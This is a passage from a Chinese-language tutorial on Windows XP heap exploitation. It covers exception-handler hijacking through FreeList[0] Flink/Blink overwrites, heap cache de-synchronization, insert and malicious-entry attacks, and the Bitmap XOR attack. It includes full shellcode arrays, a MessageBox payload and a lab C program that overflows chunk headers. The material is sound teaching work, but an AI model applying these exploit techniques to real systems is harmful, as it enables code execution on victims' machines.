4)Chunk 的块首被覆盖后,当 h2 申请空间时,程序就会从被破坏的 chunk 中分配空间, 并将剩余空间新建为一个 chunk 并插入到 FreeList[0]中

5)通过伪造 h2 申请空间前 chunk 的 Flink 和 Blink,实现在新 chunk 插入 FreeList[0]时将 新 chunk 的 Flink 起始地址写入到任意地址。因此通过控制 h2 申请空间前 chunk 的 Flink 和 Blink 值,可以将数据写入到异常处理函数指针所在位置

7)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode 执行。

构造shellcode

​ 可以随便填充一些shellcode,查看堆块信息,方便后续计算。在OllyDbg中查看:

1)通过计算得知从h1地址处填充32个字节即可覆盖后面Chunk的块首

2)选择一些地址用来填充Flink和Blink,在此处选择0x003A06EB(EB 06为一个短跳转指令,可利用该短跳转指令跳过一些垃圾代码)

3)确定[Flink]和[Flink+4]的值。因为要覆盖程序的默认异常处理函数句柄,默认异常处理函数句柄位于 0x0012FFE4,所以如果让[Flink+4]=0x0012FFE4 就可以在 chunk 插入链表的时候将数据写入 0x0012FFE4 的位置了。而[Flink] 没有什么作用,所以随便填充一些内容即可,当然为了防止在某个没有分析到的地方使用这个地址,在这不妨设置为 0x003A068C(一个可写地址,防止发生异常)

构造如下的shellcode:

charshellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2D\x01\x03\x00\x00\x10\x00\x00"
"\xEB\x06\x3A\x00\xEB\x06\x3A\x00"//覆盖原始 chunk 中的 Flink 和 Blink
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99"
"\x8C\x06\x3A\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink,即[Flink]和[Flink+4]
;

​ 可见 h2 申请空间的 Flink 位于0x003A06B8 的位置,所以当 h2 申请空间后就会发生以下事情:

[0x003A06B8] = 0x003A06EB
[0x003A06B8 + 4] = 0x0012FFE4
[0x0012FFE4] = 0x003A06B8
[0x003A06EB + 4] = 0x003A06B8
实验过程
  1. 通过 INT 3 指令中断程序,等 OllyDbg 启动好后在 0x00401049 处,即 h2 申请空间调 用 HeapAlloc 函数时下断点。然后按 F9 键让程序运行,待程序中断后再在 0x7C930FE3下断点, 继续按 F8 键单步运行程序直到 0x7C930FFF处,即所有 Flink 和 Blink 调整完成后,此时查看堆块信息,发现和前面分析一致

  2. 此时默认异常处理函数的句柄已经被修改为 0x003A06B8。继续构造shellcode,布置一个可以弹出对话框的 shellcode,本次实验将弹出对话框的机器码放置在 0x003A06F3 的位置,即伪造的 Flink 和 Blink 后面,并在前面的 0x90 填充区域放置短跳转指令来跳过伪造的 Flink 和 Blink,防止它们对程序执行产生影响

    shellcode最终构造如下:

    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x10\x01\x10\x00\x99\x99\x99\x99"
    "\xEB\x06\x3A\x00\xEB\x06\x3A\x00"//覆盖 Flink 和 Blink
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x11\x01\x10\x00\x99\x99\x99\x99"
    "\x8C\x06\x3A\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    ;
  3. 重新编译程序,仍然通过 INT 3 指令中断程序,等 OllyDbg 启动好后在 0x00401052处,即 h2 申请空间调用 HeapAlloc 函数时下断点。然后按 F8 键单步运行程序,等 h2 申请空间结束后在 0x003906B8 下断点,按 F9 键让程序运行,如果 OllyDbg 提示出现除 0 异常,就按 一下 Shift+F9 键让程序继续运行,就会看到程序在 0x003A06B8 处中断,这说明我们已经成功劫持程序流程,开始转入 shellcode 中执行了

  4. 可见新 chunk 块首的信息会影响程序的正常执行,因此需要一个短跳转指令跳过这些垃圾代码。 由于 0x003A06B8 处存放是旧 chunk 的 Flink,所以不妨选择一个含有跳转指令机器码的地址来 覆盖旧 chunk 的 Flink,于是 0x003A06EB 这个地址被抽中了

  5. 第二个跳转是指令是为了绕过伪 造的 chunk 块首信息影响程序流程,经过计算跳转到弹出对话框的机器码位置需要 49(0x31) 从此字节,所以我们将第二个跳转指令设置为 0xEB31。执行完该跳转指令后执行弹出对话框的机器码

  6. 测试结果:


3.5.7 Heap Cache内部原理介绍

1. 堆缓存调用

​ 当堆管理器发现Freelist[0]中有很多个块的时候,堆缓存才会被激活。实际的初始化和同步工作是由RtlpInitializeListIndex()这个函数来完成的。以下有两条 相关堆管理器的指标,满足任何一个都有可能引起堆缓存被激活。

1)在FreeList[0]中至少同时存在32个块

原理

​ 第一个启发式方法是关于FreeList[0]中碎片的统计。

​ 每次堆管理器增加一个空闲块到FreeList[0]的双向链表, 它将会调用RtlpUpdateIndexInsertBlock()这个函数。 同样, 在删除一个空闲块的时候, 它会调用RtlpUpdateIndexRemoveBlock()这个函数。

​ 在堆缓存被调用之前, 这两个函数都维持一个计数,这个计数是堆管理器用来统计FreeList[0]中空闲的块的数目,在系统观察到当有32个条目存在的时候, 它便会通过调用RtlpInitializeListIndex()来激活堆缓存

攻击者利用同时存在超过32个块这种方法激活堆缓存

​ 如果一个攻击者可以通过目标程序控制所有的分配和释放, 他们可以找到一个可能的请求或活动模式,这将激活堆缓存。举个例子, 在一个相对干净的堆中, 下面的代码在循环32次之后, 将会激活堆缓存:

for (i = 0; i < 32; i++)
{
b1 = HeapAlloc(pHeap, 0, 2048+i*8);
b2 = HeapAlloc(pHeap, 0, 2048+i*8);
HeapFree(pHeap,0,b1);
}

​ 这个过程将会创建包围在非空闲块周围的空闲块。每循环一次,分配的大小将会被增加, 所以现存的堆将不能够满足,在活动堆中,如果有足够多的迭代,象这样的模式最终会触发同步块启发

2)有256个块必须已经被分配。

原理

​ 第二个启发式的方法存在于RtlpDeCommitFreeBlock()这个函数中,。

​ RtlpDeCommitFreeBlock()主要实现了处理撤销提交过程的逻辑。如果系统从进程的生命周期开始共撤销 256块,这将会激活堆缓存。 当堆缓存被激活后, 它将会改变系统撤销提交的策略。这些改变的实质是执行很少的撤销委托却可以保存更大的空闲块。

利用撤销提交激活堆缓存

​ 对于某一些应用程序, 攻击者可能会很轻易的利用这种机制。为了触发这种机制, 攻击者需要在一个进程的生命周期中撤销超过256块。 为了撤销提交某个块, 它需要在堆中至少64k空闲的数据(被释放的块将被计入总数)。此外,这个块必须大于一页。

​ 最简单的造成这种情况发生的办法, 是分配和释放大小为64K或更高的256 倍。以下是一个简单例子:

for (i = 0; i < 256; i++)
{
b1 = HeapAlloc(pHeap, 0, 65536);
HeapFree(pHeap,0,b1);
}

​ 如果堆的大小已经接近64k或者还在人为的增长, 也可以使用更小的缓冲区。如果需要,可以使用合并的方式来获得足够大的块来释放

2. 撤销策略(De-committing Policy)

基本逻辑

​ 当堆缓存被关闭,假设空闲列表中至少有 64k 空闲块,堆管理器通常会将大小超过 1 页的空闲块取消提交。(被释放的块数将会达到64k,所以一个大小为64k ± 8k的块必然会被撤销提交)

​ 当堆缓存开启时,堆管理器将会避开撤销提交内存,并且把块保存在空闲列表中。

撤销提交(De-committing):主要是将一个大块分割成三个小块。一块连接到下一页的边界,一块包含整体的页面的块,一块含有超过空白页边界的数据的块。这些部分页片是被合并的,并且被放置在空闲列表中(除非它们被合并成很大),整个包围的连续的页面将会被撤销并返回给内核。

3. 遍历堆缓存

​ 堆管理器并没有从Freelist[0]的第一个结点开始依次遍历,而是首先查阅堆缓存。它将会从堆缓存中得到一个结果,这个结果依赖于它的内容,它将会或者直接用这个结果,或者丟弃它,或者把它用为下一步搜索的起点。

​ 在查询堆缓存时,分配和链接的算法都用到RtlFindEntry() 这个函数,但是它们使用这个函数返回的指针的方法不太相同。

RtlFindEntry() 通过堆缓存加快对FreeList[0]的搜索。它传入一个大小的参数,并且返回一个指向FreeList[0]中大小差不多或更大的块的指针。

4. 分配算法——Unlink

​ 分配算法:在FreeList[0]中寻找一个合适的块,并把它释放返回给应用程序。

​ 代码将会调用RtlFindEntry()查阅堆缓存。如果找到一个满足大小的条目,RtlFindEntry()并不会根据块头的标记检查这个块的大小,而会直接返回。

​ 一般RtlFindEntry()并不会解引用块中的任何指针和确定它的大小,除非它必须查看catch-all 块(通常 > = 8192 字节)然。它将在FreeList[0]中手动搜索,从指向的那个块开始到所有大于等于8192字节的块。

​ 在RtlAllocateHeap() 中的调用代码将会调用RtlFindEntry()去查看返回的块,如果返回的块太小的话, 它将会改变策略。它不会试着去找一个更大些的块,而是直接放弃,然后扩展堆去满足请求。但它并不会导致产生任何的调试信息或错误。

5. 释放算法——Linking

​ 通常,链接算法要做的是找到一个相同大小或者更大些的块,并且使用这个块的Blink指针,使它插入到自己的双向链表中。

​ 链接代码将会调用RtlpFindEntry()去发现一个和它大小一样或更大的块。如果RtlpFindEntry()返回的块太小了,它将会重新遍历这个列表去找一个更 大的块,而不是直接放弃或报一个错

6. 异步(De-synchronization)

1)异步攻击漏洞成因

​ 前面建立的堆缓存是对存在的FreeList[0]双向链表结构中附加的一个索引。但是该数据结构的索引本身与其它堆数据结构并不同步。这个可以导致多个类型堆元数据的各种破坏,并引发攻击。

​ 这些攻击的基本思想是让堆缓存指向一个非法的内存地址:可以通过改变堆缓存中任意空闲块的大小来去同步堆缓存。根据你的能力去定位内存中的空数组(在缓存索引中)、这可以执行有限的单字节溢出, 对这些内容你没有太多的控制权。

2)攻击特性

​ 当堆缓存从缓存中删除一个条目时,它通过使用这个条目的大小作为索引去查找。

​ 所以如果改变这个块的大小,堆缓存就找不到相对应的块并且删除失败。这将使指向该内存的旧的指针被返回给应用程序。 这个旧的指针被当作一个指向FreeList[0]中特定大小的合法条目, 这可以允许多次攻击。

3)攻击利用

​ 当堆缓存跟FreeList[0]出现异步时,应用程序提供的数据将会被解释成FreeList[0]中堆块的FLink和BLink。因为堆缓存中指针仍会指向该块,并认为该块是空闲状态。所以,堆管理器错误的把新写入的前8个字节解释成FLink和BLink指针。

​ 如果攻击者能够控制这8个字节,他们将会提供恶意的FLink和BLink指针。


以下是这种利用的几个不同的技术, 并与现有的一些攻击技术进行比较:


3.5.8 Heap Cache Attack

1. Basic De-synchronization Attack

1)攻击方式

​ 通过破坏已经被释放并保存在堆缓存中的块的大小。

2)攻击举例

​ ① 上图中, FreeList[0]中有3个块, 大小分别为0x91(0x488 bytes), 0x211 (0x1088 bytes)和0x268 (0x1340 bytes)。其中堆缓存被激活, 并且有与我们的块相对应的条目。 假设我们可以有一个字节溢出在0x154BB0这个块的大小上。这将会使块的大小从0x211变成0x200,将块从0x1088字节收缩成0x1000字节。如下图:

​ ② 现在,我们已改掉0x154BB0处的块的大小, 这与堆缓存中的索引是不同步的。这个块大小为0x211的指针实际上指向了大小为x0200的块

​ ③ 如果这个程序的下一个内存操作是分配一个大小为 0x200 的堆大小,会发生如下操作:

​ a. 堆管理器会搜索大小为 0x200 的块。系统将会进入到堆缓存中,看位图中关于0x200大小的空块,然后扫描堆缓存的位图。会发现一个0x211的入口,然后返回指向0x154BB0这个块的指针

​ b. 现在, 分配例程将会收到搜索的结果, 然后验证它的大小是否满足请求

​ c. 如果满足请求,堆管理器就会把这个块给移除掉。Unlink将调用 RtlpUpdateIndexRemoveBlock(),把该块从FreeList去除掉

​ d. 检测堆缓存, 看0x200的指针是否指向我们的块(当然不是, 因为它为空)。然后函数返回, 并不做任何事情 (堆缓存中指向0x154BB0处的条目并不会被删除)

注意

​ 这个解除链接的操作将会执行, 因为这个块是正确的链接到 FreeList[0]上面的, 但是堆缓存并没有更新。

​ 我们选取0x200大小的分配请求。这个是一个很合适的大小, 它不会有任何分割和重新链接。所以, Unlink将会没有错误发生,。

​ ④ 系统将会返回 0x154BB0处的块给应用程序, 然后系统会有如下的状态:

​ ⑤ 可见FreeList[0]中包含两个块:0x1536A0和0x156CC0。而堆缓存还保留着一条旧的0x154BB0, 这个块已经被系统标记为Busy了。因为它是被占用的块, 应用程序将会开始往它的FLink和Blink条目中写数据。

​ ⑥ 从这开始, 应用程序多次分配大小为0x200的块。每到这个时候, 系统将会去堆缓存中查看, 堆缓存将会返回那条旧的0x211,然后系统就会看到 0x154BB0是足够大能满足这个请求。(并没有去检测标记去确定那个块到底是不是真的空闲)

注意

​ 安全解除链接检测失败并不能阻止攻击,因为失败并不会引起异常或进程终止

3)攻击结果

​ 这个攻击技术的最后结果就是多个独立的分配将会给应用程序返回相同的地址:

HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
HeapAlloc(heap, 0, 0xFF8) returns 0x154BB8
4)总结

攻击总结

​ 如果攻击者可以改变堆缓存指向的块的当前的大小, 那么这个块并不会从堆缓存中删除,并且会保留一个没更新的旧的指针。

​ 攻击的结果是应用程序每次试图去分配 一个特殊的大小, 它将会返回一个相同的指针指向一个已经被使用的内存块。能不能够被利用依赖于应用程序如何处理这个内存。

​ 通常, 你得找到一种情况, 指针指向一个对象或一个函数和攻击者提供的数据为基础的相同的逻辑位置。然后, 你需要试着去创建一系列的指针被处理的事件顺序, 用户可控的数据将会被存贮, 然后坏的指针将会被使用

先决条件

  • 攻击者必须能够写入一个块的当前大小字段,这个块必须得是空闲的且存在于堆缓存中

  • 攻击者必须能够预测应用程序将要请求的未来分配大小。

  • 攻击者必须避开引起分割和重组的分配。

  • HeapAlloc ()为独立请求错误地返回相同的地址必须在应用程序中创建一 个可利用的条件

2. Insert Attack

1)攻击方式

​ 如果攻击者可以改变堆缓存中指向的块的大小,这个块并不会从堆缓存中被移除,并且,这个旧的指针将会被保留。如果攻击者可以使得应用程序从旧的指 针处分配一个堆块,并且攻击者可以控制堆中的内容,它将可以提供恶意的FLink 指针和BLink指针

2)攻击举例

​ ① 下图中, FreeList[0]中有3个块, 大小分别为0x91(0x488 bytes), 0x211 (0x1088 bytes)和0x344 (0x1A20 bytes)。其中堆缓存被激活,

​ ② 对0x1574D0处的块进行1字节的覆盖,改变该块的大小

​ ③ 假设应用程序申请一个0x1FF的块

​ a. 假设攻击者可以控制并在它通过HeapAlloc()调用前,将前几个字节覆盖掉。将Flink改为0xAABBCCDD,将Blink改为0x1506EB(Lookaside[2]的块的基址:0x150688+0x30*2)

​ b. 再调用HeapAlloc申请一个块,将会发生如下事情:

​ ⅰ.我们破坏的堆块将会从合法的 FreeList[0]上被移除,因为当移除时它的结点是正确的

​ ⅱ.堆缓存中仍保存了关于0x211 的条目,但它是不正确的,并且它指向一个大小为0x200的块

​ ④ 我们需要应用程序释放一个小于 0x200但大于0x91的块。这将导致堆管理器将这个释放的块放到我们破坏的那个块之前:假设应用程序释放了大小为0x1f1的块,将会发生如下事情:

afterblock = 0x1574d8;
beforeblock = afterblock->blink; // 0x1506e8
newblock->flink = afterblock; // 0x1574d8
newblock->blink = beforeblock; // 0x1506e8
beforeblock->flink = newblock; // *(0x1506e8)=newblock
afterblock->blink = newblock; // *(0x1574d8 + 4)=newblock

​ 堆管理器将会将我们块的地址写到 look-aside 表的 0x1506e8 处。这将会用我们自己的结构来代替任何已存在的 look-aside 表的结构,如下:

lookaside base(0x1506e8) -> newblock(0x154bb8)
newblock(0x154bb8) -> afterblock(0x1574d8)
afterblock(0x1574d8) -> evilptr(0xAABBCCDD)

​ ⑤ 此时,从 look-aside 表中进行三次分配后,将会把我们任意写好的地址,0xaabbccdd 返回给应用程序

3)总结

攻击总结

​ 如果攻击者可以改变堆缓存中指向的块的大小,这个块并不会从堆缓存中被移除,并且,这个旧的指针将会被保留。如果攻击者可以使得应用程序从旧的指 针处分配一个堆块,并且攻击者可以控制堆中的内容,它将可以提供恶意的FLink指针和BLink指针。

​ 当一个新块被链入FreeList[0]的时候,攻击者可以将FLink和BLink覆盖成 look-aside表的基址。攻击者可以将一个新块插入到坏的那条堆缓存条目之前,所以新块的地址将会被攻击者控制的BLink的指针覆盖。 由于BLink指向一个look-aside表的基址,攻击者便可以提供他们自己的单链表结构,并且,之前任意写入的FLink指针在以后的分配中会应用到。

​ 攻击的最终结果是,通过显式控制返回给分配请求的地址,攻击者可以获得写 入任意地址的攻击者控制的数据

先决条件

  • 攻击者必须能够修改在堆缓存中存在的,并且是空闲块的大小
  • 攻击者必须预测后随后应用程序会有分配请求
  • 攻击者必须避开可以导致分割或重新链入的破坏的块,或者准备初始化数组防 止被合并
  • 攻击者必须控制通过堆缓存分配的堆块的前两个DWORD

3. 把异步大小作为目标(De-synchronization Size Targeting)

1)攻击方式

​ 如果攻击者将一个特殊的分配大小作为目标,一个伪造的FreeList[0]将会被创建,并且在堆缓存中一个特殊的条目将会被创建

​ 如图,FreeList[0]有一个头结点和两个条目(0x155Fc0和0x1595e0)它们是有效的并且和堆缓存条目同步。还有一个旧的不同步的条目(0x92)在堆缓存中,它指向了一个伪造的FreeList[0],这个Freelist[0]没有头节点。

​ 如果通过选择堆缓存中这个恶意的条目链接了新的 空闲块,新插入的条目将会被插入到这个伪造的freeList[0]中。这条list仅仅能通过堆缓存到达,它不会通过正常的搜索freeList[0]被访问

2)攻击举例

① 分配算法——Unlilnking:三种情况,不太适用

  • 当请求小于等于0x91时,这个合法的0x91的块将会被使用并返回
  • 当请求为0x92时,它将会试着去使用那条恶意的free list,但是看到它太小而不处理这个请求。因此,它将会放弃这个恶意的free list 并且对堆进行扩展,然后使用新的内存去满足这个分配请求(当将块的大小设为非常小时,这种情况将会发生)
  • 如果请求0x93大小的块,它将会使用合法的free list去搜索

② 释放算法——Linking(链接搜索):比较适用

  • 如果搜索一个小于等于0x91的块,那么那么合法的freelist中的大小为0x91的堆块将会被返回
  • 如果搜索大小为0x93的块,那个合法的freelist将会被使用
  • 如果搜索0x92,这个恶意的Ifreeklist会被使用。在链接时,它将会发现它的大小有点小,然后它将会跟着恶意的Flink去继续找

4. Malicious Cache Entry Attack

1)攻击原理

​ 正常情况下,堆缓存中保存的大小,即是指向的堆块本身的大小,并且,最后一条将会指向FreeList[0]中的第一条,那个对于堆缓存来说太大了以至于不能去索引。下图展示了正常情况下堆块和堆缓存的情况:

​ 大小为0x100的条目指向 0x155Fc0处的堆块。而0x155FC0处的堆块指向0x1574D0, 这个堆块在堆缓存中并没有索引。在0x1595E0处,还有一个大小为0x101的块,它在堆缓存中有索引。

​ 当 0x155FC0从堆缓存中移除的时候,这个大小为 0x100 的条目将会被更新为 0x1574D0。如果 0x1574D0 处的块被移除,那么它将指向 NULL。

​ 移除算法主要是通过堆块的FLink指针来在FreeList[0]中寻找下一个块。如果那个块有合适的大小,它会设置堆缓存条目。对于catch-all的条目,它将不会解引用FLink指针,因为它不需要对大小进行匹配。(它仅仅需要确定在 FreeList[0]中是否不是最大的块)。

​ 所以,当攻击者通过内存破坏提供一个恶意的FLink的值,并且这是一个 常的指向合适的值的一个指针,这个指针将会被更新到堆缓存表里去

2)攻击方式

​ 将攻击者可控的指针直接插入堆缓存中。

​ 当一个有效的块从堆缓存中移除的时候,代码将会把这个块的FLink指针更新到堆缓存中,如果FLink被破坏,这将会导致可被利用的环境。如果没有合适的块,它将会把指针置为NULL,并且清空它的bitmap中的位。

3)攻击举例

① 对于不在catch-all的条目

​ a. 对于如上块,假设攻击者知道这个块的大小,并且覆盖成如下:将该块的Flink改为0x150210,利用了空表的结点将会指向它本身这一点

​ b. 此时0x15208处的块将会被解释成如下:

​ c. 让应用程序分配内存直到这个恶意的0x150210的值被写入堆缓存大小为0x208的地方

​ d. 下一次分配大小为0x208时,将会把0x150210处的块返回给应用程序,这将允许攻击者去覆盖一些堆块头部的数据结构。 最简单的方法就是覆盖为0x15057C处的指针,这个地址在下一次堆扩展的时候 将会被调用

② 对于在catch-all中的块

​ a. 对于如上块,假设攻击者知道该块块大于等于8192字节,将其覆盖为如下块:

​ b.此时该块被解释为如下:

​ c. 假设你可以通过偶然的BUSY标志或其它计划导致的合并,并且每个大小大于等 于0x400(8192/3)的块都会被分配,你提供的恶意的FLink,即0x150570的指针将会被更新到堆缓存中

​ e. 下一个在8192和11072中间的分配请求将会返回0x150578, 这将允许你覆盖0x15057c处的commit函数的指针

4)总结

攻击总结

​ 如果攻击者能够覆盖FreeList[0]中的大块的FLink指针,这个值将会被更新到堆缓 存中。当程序下一次试图分配这个大小的块时,它将会返回给攻击者可控的指针。

先决条件

  • 攻击者必须能够覆盖空闲块的FLink指针
  • 攻击者必须能够引起堆缓存中的分配
  • 攻击者必须提供一个可预测的分配,目标是破坏的堆缓存的条目

3.5.9 Bitmap XOR Attack

1. 漏洞成因

1)如何利用FreeListInUseBitmap来定位一个足够大的空块:
/* coming into here, we've found a bit in the bitmap */
/* and listhead will be set to the corresponding FreeList[n] head*/
_LIST_ENTRY *listhead = SearchBitmap(vHeap, aSize);
/* pop Blink off list */
_LIST_ENTRY *target = listhead->Blink;
/* get pointer to heap entry (((u_char*)target) - 8) */
HEAP_FREE_ENTRY *vent = FL2ENT(target);
/* do safe unlink of vent from free list */
next = vent->Flink;
prev = vent->Blink;
if (prev->Flink != next->Blink || prev->Flink != listhead)
{
RtlpHeapReportCorruption(vent);
}
else
{
prev->Flink=next;
next->Blink=prev;
}
/* Adjust the bitmap */
// make sure we clear out bitmask if this is last entry
if ( next == prev )
{
vSize = vent->Size;
vHeap->FreeListsInUseBitmap[vSize >> 3] ^= 1 << (vSize & 7);
}
2)更新空表位图状态的代码问题
  • 算法通过判断 if (next == prev) 去确定FreeList是否为空。这是一 个很简单的情况,如果有16个字节的覆盖去欺骗,它仍然会继续执行,不顾安全删除失败.

  • 代码从FreeList[n]中得到块的大小, 并且在更新 FreeListInUseBitmap(vSize = vent->Size;)时使用它做索引。但是大小也可以被伪造,当堆块元数据覆盖时, 这将导致一种不同步的情况

  • 当FreeList[n]为空的时候, 并没有直接把FreeListInUseBitmap 置为0,而是通过异或操作,意味着如果我们覆盖了一个块的大小, 就可以触发任意位. 这就允许我们设置类似前面提到的攻击情况

  • 在被用进入FreeListInUseBitmap的索引时, 大小并没有被验证是否小于0x80. 意味着我们可以在半任意的地方设置位然后绕过 FreeListInUseBitmap

3)攻击手段

​ 在更新空表位图状态时,以当前堆块的Size字段作为索引,且在之前未有适当的安全检测机制,可能会导致空表位图状态与实际空表状态不同步的效果,最终通过利用漏洞会达到任意地址写任意数据的效果

2. 利用方式

​ 在每次空表中的堆块进行Unlink操作后会判断相应的空表位图是否需要更新,若Unlink的堆块为该空表中的最后一个堆块,则会对堆块当前Size字段对应的空表位图做异或操作。在基于堆溢出的场景中,该算法中存在多处漏洞。

只覆盖块的大小字段

1)首先构造只存在一个堆块的空表且与该堆块相邻前一堆块存在堆溢出的场景:

2)若此时上方堆块只存在单字节溢出漏洞,即仅能覆盖到空表中堆块的Size字段。在对空表中堆块进行Unlink操作前,先将其Size字段篡改为8*n,如图所示

3)按照空表位图更新算法,该堆块会正常进行Unlink操作,并且会执行更新空表位图的代码。但是由于Size字段已被覆盖,导致在索引空表位图时不再是Bitmap[x]而是Bitmap[n],然后对索引到的空表位图做异或操作,即Bitmap[x]不改变,Bitmap[n]进行反转。如图所示

4)此时x号空表中没有堆块,表头的前项指针和后项指针都指向自身,并且对应的空表位图置位为1,所以堆管理器认为x号空表中仍有空闲堆块。在下一次申请8*x大小的堆块时,则会将Freelist[x].Blink指向的地址作为堆块分配给用户使用,即将8*x大小的空表表头当做堆块,在用户进行编辑后的第二次申请编辑时即可造成任意地址写任意数据。

覆盖到堆块的前项和后项指针字段

1)将前项指针和后项指针覆盖为相同值,此时按照空表位图更新算法,在Safe Unlink的安全检测机制处会被检查出来,且不会对该堆块执行Unlink操作,而是调用了RtlpHeapReportCorruption()(在现阶段的版本中该函数不会导致进程结束)。因此,prev和next并未被新赋值,仍然为覆盖后相等的状态,因此会被判断为需要更新空表位图,并且此时的Size字段也是在堆溢出的覆盖范围内

2)由于Size字段已被覆盖,导致在索引空表位图时不再是Bitmap[x]而是Bitmap[n],然后对索引到的空表位图做异或操作,即Bitmap[x]不改变,Bitmap[n]进行反转

3)此时x号空表中没有堆块,表头的前项指针和后项指针都指向自身,并且对应的空表位图置位为1,所以堆管理器认为x号空表中仍有空闲堆块。在下一次申请8*x大小的堆块时,则会将Freelist[x].Blink指向的地址作为堆块分配给用户使用,即将8*x大小的空表表头当做堆块,在用户进行编辑后的第二次申请编辑时即可造成任意地址写任意数据。

注意:由于跳过了Unlink的赋值,prev和next始终相等,一定会更新空表位图。因此不需要满足被溢出堆块为其空表中的唯一一个堆块的条件,应用场景更加广泛

3. 攻击举例

​ 只覆盖块的大小字段。

注意:具体实验中由于从FreeList[x]处分配数据,会把FreeList[x].Flink处当作块的用户数据,此时块头为FreeList[x-1],由于该块头数据不对,所以会造成后续切割块造成崩溃

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <windows.h>
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1D\x00\x1A\x00\x2C\x00\x0E\x00"
; char shellcode2[]=
"\xAA\xAA\xAA\xAA\x90\x90\x90\x90\x90\x90"
"\x90\x90"; int main()
{
HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0, h5 = 0, h6 = 0, h7 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,209);
__asm int 3
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5);
memcpy(h4,shellcode1,208);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
HeapFree(hp,0,h2);
HeapFree(hp,0,h4);
h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
//memcpy(h7,shellcode2,12); return 0;
}
实验过程
  1. 直接运行程序,在OllyDbg中单步调试,当将h5块头溢出时,查看堆块状态,堆块大小已被改为1D

  2. 此时查看空表索引,由于h5堆块还在FreeList[27]处,所以该处空表位图的索引置位

  3. 继续运行,申请h5堆块,查看空表位图,此时该处空表位图索引仍为置位,证明此时已骗过空表位图

